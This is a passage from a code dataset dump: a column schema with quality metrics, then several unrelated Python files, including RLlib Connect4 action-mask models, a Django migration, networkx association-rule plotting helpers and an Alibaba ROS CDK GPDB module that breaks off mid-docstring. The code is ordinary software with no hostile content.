hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
58d6c675721394f87ea83dec7f75d89424ab469b
619
py
Python
software/config/signal_scope/val/forcetorque.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
92
2016-01-14T21:03:50.000Z
2021-12-01T17:57:46.000Z
software/config/signal_scope/val/forcetorque.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
62
2016-01-16T18:08:14.000Z
2016-03-24T15:16:28.000Z
software/config/signal_scope/val/forcetorque.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
41
2016-01-14T21:26:58.000Z
2022-03-28T03:10:39.000Z
import numpy import math execfile(os.path.join(os.path.dirname(__file__), 'rotations.py')) addPlot(timeWindow=15, yLimits=[-1, 1]) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.l_foot_force_z) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.r_foot_force_z) addPlot(timeWindow=15, yLimits=[-1, 1]) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.l_foot_torque_x) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.l_foot_torque_y) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.r_foot_torque_x) addSignal('EST_ROBOT_STATE', msg.utime, msg.force_torque.r_foot_torque_y)
34.388889
73
0.802908
104
619
4.394231
0.288462
0.157549
0.223195
0.28884
0.822757
0.822757
0.822757
0.822757
0.822757
0.822757
0
0.013722
0.058158
619
17
74
36.411765
0.770154
0
0
0.181818
0
0
0.165584
0
0
0
0
0
0
1
0
true
0
0.181818
0
0.181818
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
9
4501c02c22b7544b5e34f017eec915e2d05b8d21
125
py
Python
chapter_8/test_8_3.py
ztaylor2/cracking-the-coding-interview
0587d233d76f99481667a96806acd6dd007aa5e6
[ "MIT" ]
null
null
null
chapter_8/test_8_3.py
ztaylor2/cracking-the-coding-interview
0587d233d76f99481667a96806acd6dd007aa5e6
[ "MIT" ]
null
null
null
chapter_8/test_8_3.py
ztaylor2/cracking-the-coding-interview
0587d233d76f99481667a96806acd6dd007aa5e6
[ "MIT" ]
null
null
null
"""Test 8.3.""" def test_8_3(): """.""" from CTCI_8_3 import magic_index assert magic_index([1, 2, 3, 3]) == 3
15.625
41
0.544
22
125
2.818182
0.545455
0.096774
0.193548
0
0
0
0
0
0
0
0
0.115789
0.24
125
7
42
17.857143
0.536842
0.088
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
e1827abd996220151b1e6e5aeb41cc9e48138464
10,145
py
Python
models/action_mask_model.py
ColdFrenzy/Adaptive_Learning
02cdd519a7e224fe5f2a49b0c21baa3dac5ce0e1
[ "MIT" ]
null
null
null
models/action_mask_model.py
ColdFrenzy/Adaptive_Learning
02cdd519a7e224fe5f2a49b0c21baa3dac5ce0e1
[ "MIT" ]
null
null
null
models/action_mask_model.py
ColdFrenzy/Adaptive_Learning
02cdd519a7e224fe5f2a49b0c21baa3dac5ce0e1
[ "MIT" ]
null
null
null
from models import custom_models from functools import reduce from ray.rllib.models.tf import TFModelV2 from ray.rllib.utils.framework import try_import_tf from config.connect4_config import Connect4Config, Connect3Config tf1, tf, tfv = try_import_tf() class Connect4ActionMaskModel(TFModelV2): """Parametric action model that handles the dot product and masking. """ def __init__( self, obs_space, action_space, num_outputs, model_config, name, true_obs_shape=(Connect4Config.WIDTH, Connect4Config.HEIGHT), action_embed_size=Connect4Config.N_ACTIONS, show_model=False, *args, **kwargs ): super(Connect4ActionMaskModel, self).__init__( obs_space=obs_space, action_space=action_space, num_outputs=num_outputs,model_config=model_config, name=name# ,*args, **kwargs ) # Obs_space has the wrong size. This is due to data dict preprocessor # that automatically flatten the original observation space. # retrieving the original observation space : hidden_layer_shapes = kwargs["hidden_layer_shapes"] self.use_conv = kwargs["use_conv"] print("preprocessed obs_space: ") print(obs_space) original_obs = obs_space.original_space.spaces["state"] print("The restored obs_space is: " + str(original_obs)) if self.use_conv: in_shape = original_obs.shape self.base_model = custom_models.conv_dense_model( in_shape, num_outputs, "action_mask" ) else: in_shape = original_obs.shape[0] * original_obs.shape[1] # inputs = tf.keras.layers.Input(shape=(in_shape,), name="observations") # hidden_layer = tf.keras.layers.Dense(256, name="layer1", activation=tf.nn.relu)( # inputs # ) # self.out_layer = tf.keras.layers.Dense(num_outputs, name="out", activation=None)( # hidden_layer # ) # self.value_layer_out = tf.keras.layers.Dense(1, name="value", activation=None)(hidden_layer) # self.base_model = tf.keras.Model(inputs, [self.out_layer, self.value_layer_out], name=name) self.base_model = custom_models.dense_model( in_shape, hidden_layer_shapes, num_outputs, "action_mask" ) if show_model == True: self.base_model.summary() def forward(self, input_dict, state, seq_lens): """ Args: input_dict (dict): dictionary of input tensors, including "obs", "obs_flat", "prev_action", "prev_reward", "is_training", "eps_id", "agent_id", "infos", and "t". state (list): list of state tensors with sizes matching those returned by get_initial_state + the batch dimension seq_lens (Tensor): 1d tensor holding input sequence lengths Returns: (outputs, state): The model output tensor of size [BATCH, num_outputs], and the new RNN state. """ obs_state = input_dict["obs"]["state"] action_mask = input_dict["obs"]["action_mask"] if self.use_conv: if len(obs_state.shape) < 3: obs_state = tf.expand_dims(obs_state, axis =-1) obs_state = tf.expand_dims(obs_state, axis = 0) elif len(obs_state.shape) == 3: obs_state = tf.expand_dims(obs_state, -1) else: pass else: # if a single example is passed if len(obs_state.shape) < 3: # print("obs_state tensor has rank: " + str(len(obs_state.shape))) obs_state = tf.reshape( obs_state, shape=(obs_state.shape[0] * obs_state.shape[1],) ) # adding a dimension for the batch size if a single example is passed obs_state = tf.expand_dims(obs_state, 0) # if a batch is passed else: # print("obs_state tensor has rank: " + str(len(obs_state.shape))) obs_state = tf.reshape( obs_state, shape=(obs_state.shape[0], obs_state.shape[1] * obs_state.shape[2]), ) action_logits, self._value_out = self.base_model(obs_state) # inf_mask return a 0 value if the action is valid and a big negative # value if it is invalid. Example: # [0, 0, -3.4+38, 0, -3.4+38, 0, 0] inf_mask = tf.maximum(tf.math.log(action_mask), tf.float32.min) action_logits = tf.cast(action_logits, dtype=tf.float32) inf_mask = tf.cast(inf_mask, dtype=tf.float32) # The new logits have an extremely low value for invalid actions, that # is then cut to zero during the softmax computation new_action_logits = action_logits + inf_mask return new_action_logits, state def value_function(self): # return self.base_model.value_function() return tf.reshape(self._value_out, [-1]) class Connect3ActionMaskModel(TFModelV2): """Parametric action model that handles the dot product and masking. """ def __init__( self, obs_space, action_space, num_outputs, model_config, name, true_obs_shape=(Connect3Config.WIDTH, Connect3Config.HEIGHT), action_embed_size=Connect3Config.N_ACTIONS, show_model=False, *args, **kwargs ): super(Connect3ActionMaskModel, self).__init__( obs_space=obs_space, action_space=action_space, num_outputs=num_outputs,model_config=model_config, name=name# ,*args, **kwargs ) # Obs_space has the wrong size. This is due to data dict preprocessor # that automatically flatten the original observation space. # retrieving the original observation space : hidden_layer_shapes = kwargs["hidden_layer_shapes"] self.use_conv = kwargs["use_conv"] print("preprocessed obs_space: ") print(obs_space) original_obs = obs_space.original_space.spaces["state"] print("The restored obs_space is: " + str(original_obs)) if self.use_conv: in_shape = original_obs.shape self.base_model = custom_models.conv_dense_model_connect3( in_shape, num_outputs, "action_mask" ) else: in_shape = original_obs.shape[0] * original_obs.shape[1] # inputs = tf.keras.layers.Input(shape=(in_shape,), name="observations") # hidden_layer = tf.keras.layers.Dense(256, name="layer1", activation=tf.nn.relu)( # inputs # ) # self.out_layer = tf.keras.layers.Dense(num_outputs, name="out", activation=None)( # hidden_layer # ) # self.value_layer_out = tf.keras.layers.Dense(1, name="value", activation=None)(hidden_layer) # self.base_model = tf.keras.Model(inputs, [self.out_layer, self.value_layer_out], name=name) self.base_model = custom_models.dense_model( in_shape, hidden_layer_shapes, num_outputs, "action_mask" ) if show_model == True: self.base_model.summary() def forward(self, input_dict, state, seq_lens): """ Args: input_dict (dict): dictionary of input tensors, including "obs", "obs_flat", "prev_action", "prev_reward", "is_training", "eps_id", "agent_id", "infos", and "t". state (list): list of state tensors with sizes matching those returned by get_initial_state + the batch dimension seq_lens (Tensor): 1d tensor holding input sequence lengths Returns: (outputs, state): The model output tensor of size [BATCH, num_outputs], and the new RNN state. """ obs_state = input_dict["obs"]["state"] action_mask = input_dict["obs"]["action_mask"] if self.use_conv: if len(obs_state.shape) < 3: obs_state = tf.expand_dims(obs_state, axis =-1) obs_state = tf.expand_dims(obs_state, axis = 0) elif len(obs_state.shape) == 3: obs_state = tf.expand_dims(obs_state, -1) else: pass else: # if a single example is passed if len(obs_state.shape) < 3: # print("obs_state tensor has rank: " + str(len(obs_state.shape))) obs_state = tf.reshape( obs_state, shape=(obs_state.shape[0] * obs_state.shape[1],) ) # adding a dimension for the batch size if a single example is passed obs_state = tf.expand_dims(obs_state, 0) # if a batch is passed else: # print("obs_state tensor has rank: " + str(len(obs_state.shape))) obs_state = tf.reshape( obs_state, shape=(obs_state.shape[0], obs_state.shape[1] * obs_state.shape[2]), ) action_logits, self._value_out = self.base_model(obs_state) # inf_mask return a 0 value if the action is valid and a big negative # value if it is invalid. Example: # [0, 0, -3.4+38, 0, -3.4+38, 0, 0] inf_mask = tf.maximum(tf.math.log(action_mask), tf.float32.min) action_logits = tf.cast(action_logits, dtype=tf.float32) inf_mask = tf.cast(inf_mask, dtype=tf.float32) # The new logits have an extremely low value for invalid actions, that # is then cut to zero during the softmax computation new_action_logits = action_logits + inf_mask return new_action_logits, state def value_function(self): # return self.base_model.value_function() return tf.reshape(self._value_out, [-1])
40.907258
138
0.593494
1,257
10,145
4.553699
0.143994
0.075472
0.054507
0.027952
0.920685
0.920685
0.920685
0.920685
0.907757
0.907757
0
0.014314
0.311385
10,145
248
139
40.907258
0.805039
0.344603
0
0.808824
0
0
0.039675
0
0
0
0
0
0
1
0.044118
false
0.014706
0.044118
0.014706
0.132353
0.044118
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e18424f3d60bc5d6e9a3a7c0e46c71a4ecd5c75a
3,075
py
Python
diventi/products/migrations/0060_auto_20200901_1950.py
flavoi/diven
3173ca3ca3fbedc191b8eab3639a6bceb3c442c4
[ "Apache-2.0" ]
2
2019-06-27T16:00:17.000Z
2020-08-14T07:46:05.000Z
diventi/products/migrations/0060_auto_20200901_1950.py
flavoi/diven
3173ca3ca3fbedc191b8eab3639a6bceb3c442c4
[ "Apache-2.0" ]
26
2020-02-15T22:39:35.000Z
2022-02-19T21:09:01.000Z
diventi/products/migrations/0060_auto_20200901_1950.py
flavoi/diven
3173ca3ca3fbedc191b8eab3639a6bceb3c442c4
[ "Apache-2.0" ]
1
2021-11-12T22:30:15.000Z
2021-11-12T22:30:15.000Z
# Generated by Django 2.2.13 on 2020-09-01 17:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('products', '0059_auto_20200830_1804'), ] operations = [ migrations.AlterField( model_name='chapter', name='title', field=models.CharField(max_length=80, verbose_name='title'), ), migrations.AlterField( model_name='chapter', name='title_en', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='chapter', name='title_it', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='imagepreview', name='title', field=models.CharField(max_length=80, verbose_name='title'), ), migrations.AlterField( model_name='imagepreview', name='title_en', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='imagepreview', name='title_it', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productcategory', name='title', field=models.CharField(max_length=80, verbose_name='title'), ), migrations.AlterField( model_name='productcategory', name='title_en', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productcategory', name='title_it', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productdetail', name='title', field=models.CharField(max_length=80, verbose_name='title'), ), migrations.AlterField( model_name='productdetail', name='title_en', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productdetail', name='title_it', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productformat', name='title', field=models.CharField(max_length=80, verbose_name='title'), ), migrations.AlterField( model_name='productformat', name='title_en', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), migrations.AlterField( model_name='productformat', name='title_it', field=models.CharField(max_length=80, null=True, verbose_name='title'), ), ]
34.550562
83
0.573984
299
3,075
5.70903
0.147157
0.158172
0.219684
0.254833
0.910955
0.910955
0.910955
0.889865
0.889865
0.889865
0
0.028958
0.30374
3,075
88
84
34.943182
0.768333
0.014959
0
0.914634
1
0
0.129171
0.007598
0
0
0
0
0
1
0
false
0
0.012195
0
0.04878
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
e18c67df62af5271bc13c9ce12fbb71f7aa17e1b
148
py
Python
ruleta_app/admin.py
Franco1605/ruleta-app
93ac27039b5a502aa03683ec2991aefda65bbf41
[ "MIT" ]
null
null
null
ruleta_app/admin.py
Franco1605/ruleta-app
93ac27039b5a502aa03683ec2991aefda65bbf41
[ "MIT" ]
null
null
null
ruleta_app/admin.py
Franco1605/ruleta-app
93ac27039b5a502aa03683ec2991aefda65bbf41
[ "MIT" ]
null
null
null
from django.contrib import admin # Register your models here. from .models import Player # Register your models here. admin.site.register(Player)
18.5
32
0.790541
21
148
5.571429
0.52381
0.205128
0.307692
0.376068
0
0
0
0
0
0
0
0
0.141892
148
8
33
18.5
0.92126
0.358108
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
e1be9edabe9ff88e3ebdf3979117ca10a9d5ec3a
32
py
Python
cm/gunicorn-config.py
HotMaps/wind_potential
de1804acbfa8d9ed36fe4fff2854752ea650e4f6
[ "Apache-2.0" ]
7
2021-02-21T10:45:25.000Z
2021-03-28T10:29:36.000Z
gunicorn_config.py
yoshiask/PyZuneCommerceServer
a6b4b3bfcb54cb9388c46e7768f72406bf36d43d
[ "MIT" ]
1
2019-12-06T19:05:34.000Z
2019-12-06T19:05:34.000Z
gunicorn_config.py
yoshiask/PyZuneCommerceServer
a6b4b3bfcb54cb9388c46e7768f72406bf36d43d
[ "MIT" ]
null
null
null
bind = "0.0.0.0:80" workers = 2
10.666667
19
0.5625
8
32
2.25
0.625
0.333333
0.333333
0
0
0
0
0
0
0
0
0.269231
0.1875
32
2
20
16
0.423077
0
0
0
0
0
0.3125
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
1
1
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
bef712124254b95d453fbc4fa54152bd83198a7b
6,133
py
Python
Accociation Rules/apriori_helper.py
ehtasham704/Data-Science-Machine-Learning
84455a398f39c97b75468cf93ab541b69e8b677d
[ "MIT" ]
null
null
null
Accociation Rules/apriori_helper.py
ehtasham704/Data-Science-Machine-Learning
84455a398f39c97b75468cf93ab541b69e8b677d
[ "MIT" ]
null
null
null
Accociation Rules/apriori_helper.py
ehtasham704/Data-Science-Machine-Learning
84455a398f39c97b75468cf93ab541b69e8b677d
[ "MIT" ]
null
null
null
# For Network Gragh import networkx as nx import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns def draw_plot(support,confidence,lift): plt.figure(figsize=(12,8)) points=plt.scatter(support, confidence, alpha=0.8,s=500,c=lift,cmap="RdBu",edgecolors='black') cb=plt.colorbar(points) cb.set_label(label='Lift',size=15) plt.title('22 Association Rules',fontsize=20) plt.xlabel('Support',fontsize=15) plt.ylabel('Confidence',fontsize=15) plt.tick_params(labelsize=15) plt.show() def draw_graph(rules, rules_to_show, metric=None): if metric=='lift': plt.figure(figsize=(12,8)) G1 = nx.DiGraph() color_map=[] colors = 0.14035943 for i in range (rules_to_show): for a in rules.iloc[i]['antecedents']: G1.add_nodes_from(nodes_for_adding=[a]) for c in rules.iloc[i]['consequents']: G1.add_nodes_from(nodes_for_adding=[c]) G1.add_edge(a, c, color=colors, weight= rules.iloc[i,6]) for node in G1: color_map.append('turquoise') edges = G1.edges() colors = [G1[u][v]['color'] for u,v in edges] weights = [G1[u][v]['weight'] for u,v in edges] pos = nx.spring_layout(G1, k=16, scale=1) nx.draw(G1, pos, edges=edges, node_color = color_map, edge_color=colors, width=weights, font_size=16, with_labels=False) for p in pos: # raise text positions pos[p][1] += 0.1 nx.draw_networkx_labels(G1, pos,font_size=16) plt.title('Network visualizing association rules',fontsize=20) plt.show() elif metric=='conviction': plt.figure(figsize=(12,8)) G1 = nx.DiGraph() color_map=[] colors = 0.14035943 for i in range (rules_to_show): for a in rules.iloc[i]['antecedents']: G1.add_nodes_from(nodes_for_adding=[a]) for c in rules.iloc[i]['consequents']: G1.add_nodes_from(nodes_for_adding=[c]) G1.add_edge(a, c, color=colors, weight= rules.iloc[i,-1]) for node in G1: color_map.append('turquoise') edges = G1.edges() colors = [G1[u][v]['color'] for u,v in edges] weights = [G1[u][v]['weight'] for u,v in edges] pos = nx.spring_layout(G1, k=16, scale=1) nx.draw(G1, pos, edges=edges, node_color = color_map, edge_color=colors, width=weights, font_size=16, with_labels=False) for p in pos: # raise text positions pos[p][1] += 0.1 nx.draw_networkx_labels(G1, pos,font_size=16) plt.title('Network visualizing association rules',fontsize=20) plt.show() elif metric=='confidence': plt.figure(figsize=(12,8)) G1 = nx.DiGraph() color_map=[] colors = 0.14035943 for i in range (rules_to_show): for a in rules.iloc[i]['antecedents']: G1.add_nodes_from(nodes_for_adding=[a]) for c in rules.iloc[i]['consequents']: G1.add_nodes_from(nodes_for_adding=[c]) G1.add_edge(a, c, color=colors, weight= (1+rules.iloc[i,5])) for node in G1: color_map.append('turquoise') edges = G1.edges() colors = [G1[u][v]['color'] for u,v in edges] weights = [G1[u][v]['weight'] for u,v in edges] pos = nx.spring_layout(G1, k=16, scale=1) nx.draw(G1, pos, edges=edges, node_color = color_map, edge_color=colors, width=weights, font_size=16, with_labels=False) for p in pos: # raise text positions pos[p][1] += 0.1 nx.draw_networkx_labels(G1, pos,font_size=16) plt.title('Network visualizing association rules',fontsize=20) plt.show() elif metric=='support': plt.figure(figsize=(12,8)) G1 = nx.DiGraph() color_map=[] colors = 0.14035943 for i in range (rules_to_show): for a in rules.iloc[i]['antecedents']: G1.add_nodes_from(nodes_for_adding=[a]) for c in rules.iloc[i]['consequents']: G1.add_nodes_from(nodes_for_adding=[c]) G1.add_edge(a, c, color=colors, weight= (1+rules.iloc[i,4])) for node in G1: color_map.append('turquoise') edges = G1.edges() colors = [G1[u][v]['color'] for u,v in edges] weights = [G1[u][v]['weight'] for u,v in edges] pos = nx.spring_layout(G1, k=16, scale=1) nx.draw(G1, pos, edges=edges, node_color = color_map, edge_color=colors, width=weights, font_size=16, with_labels=False) for p in pos: # raise text positions pos[p][1] += 0.1 nx.draw_networkx_labels(G1, pos,font_size=16) plt.title('Network visualizing association rules',fontsize=20) plt.show() else: plt.figure(figsize=(12,8)) G1 = nx.DiGraph() color_map=[] colors = 0.14035943 for i in range (rules_to_show): for a in rules.iloc[i]['antecedents']: G1.add_nodes_from(nodes_for_adding=[a]) for c in rules.iloc[i]['consequents']: G1.add_nodes_from(nodes_for_adding=[c]) G1.add_edge(a, c, color=colors, weight= 2) for node in G1: color_map.append('turquoise') edges = G1.edges() colors = [G1[u][v]['color'] for u,v in edges] weights = [G1[u][v]['weight'] for u,v in edges] pos = nx.spring_layout(G1, k=16, scale=1) nx.draw(G1, pos, edges=edges, node_color = color_map, edge_color=colors, width=weights, font_size=16, with_labels=False) for p in pos: # raise text positions pos[p][1] += 0.1 nx.draw_networkx_labels(G1, pos,font_size=16) plt.title('Network visualizing association rules',fontsize=20) plt.show()
44.122302
140
0.568564
877
6,133
3.843786
0.125428
0.011866
0.041531
0.035598
0.873035
0.864432
0.856422
0.856422
0.856422
0.856422
0
0.046966
0.298712
6,133
139
141
44.122302
0.736805
0.019892
0
0.816794
0
0
0.079267
0
0
0
0
0
0
1
0.015267
false
0
0.038168
0
0.053435
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8300699906f89a9dcb70f55d7e3e8db96d14ad01
88,763
py
Python
multiple-languages/python/ros-cdk-gpdb-1.0.4/src/ros_cdk_gpdb/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
multiple-languages/python/ros-cdk-gpdb-1.0.4/src/ros_cdk_gpdb/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
multiple-languages/python/ros-cdk-gpdb-1.0.4/src/ros_cdk_gpdb/__init__.py
piotr-kalanski/Resource-Orchestration-Service-Cloud-Development-Kit
2a12deea757ac69e69708dd9fd159fba12cfba0e
[ "Apache-2.0" ]
null
null
null
''' ## Aliyun ROS GPDB Construct Library This module is part of the AliCloud ROS Cloud Development Kit (ROS CDK) project. ```python import * as GPDB from '@alicloud/ros-cdk-gpdb'; ``` ''' import abc import builtins import datetime import enum import typing import jsii import publication import typing_extensions from ._jsii import * import ros_cdk_core class DBInstance( ros_cdk_core.Resource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.DBInstance", ): '''A ROS resource type: ``ALIYUN::GPDB::DBInstance``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "DBInstanceProps", enable_resource_property_constraint: typing.Optional[builtins.bool] = None, ) -> None: '''Create a new ``ALIYUN::GPDB::DBInstance``. Param scope - scope in which this resource is defined Param id - scoped id of the resource Param props - resource properties :param scope: - :param id: - :param props: - :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: '''Attribute ConnectionString: The endpoint of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: '''Attribute DBInstanceId: The ID of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrOrderId") def attr_order_id(self) -> ros_cdk_core.IResolvable: '''Attribute OrderId: The order ID of the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrOrderId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrPort") def attr_port(self) -> ros_cdk_core.IResolvable: '''Attribute Port: The port used to connect to the instance.''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrPort")) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.DBInstanceProps", jsii_struct_bases=[], name_mapping={ "db_instance_class": "dbInstanceClass", "db_instance_group_count": "dbInstanceGroupCount", "engine_version": "engineVersion", "v_switch_id": "vSwitchId", "zone_id": "zoneId", "db_instance_description": "dbInstanceDescription", "pay_type": "payType", "period": "period", "period_unit": "periodUnit", "security_ip_list": "securityIpList", "vpc_id": "vpcId", }, ) class DBInstanceProps: def __init__( self, *, db_instance_class: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_group_count: typing.Union[jsii.Number, ros_cdk_core.IResolvable], engine_version: typing.Union[builtins.str, ros_cdk_core.IResolvable], v_switch_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], zone_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, pay_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, period: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, period_unit: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, security_ip_list: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, vpc_id: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::GPDB::DBInstance``. :param db_instance_class: Property dbInstanceClass: The instance type. :param db_instance_group_count: Property dbInstanceGroupCount: The number of compute nodes in the instance. :param engine_version: Property engineVersion: The version of the 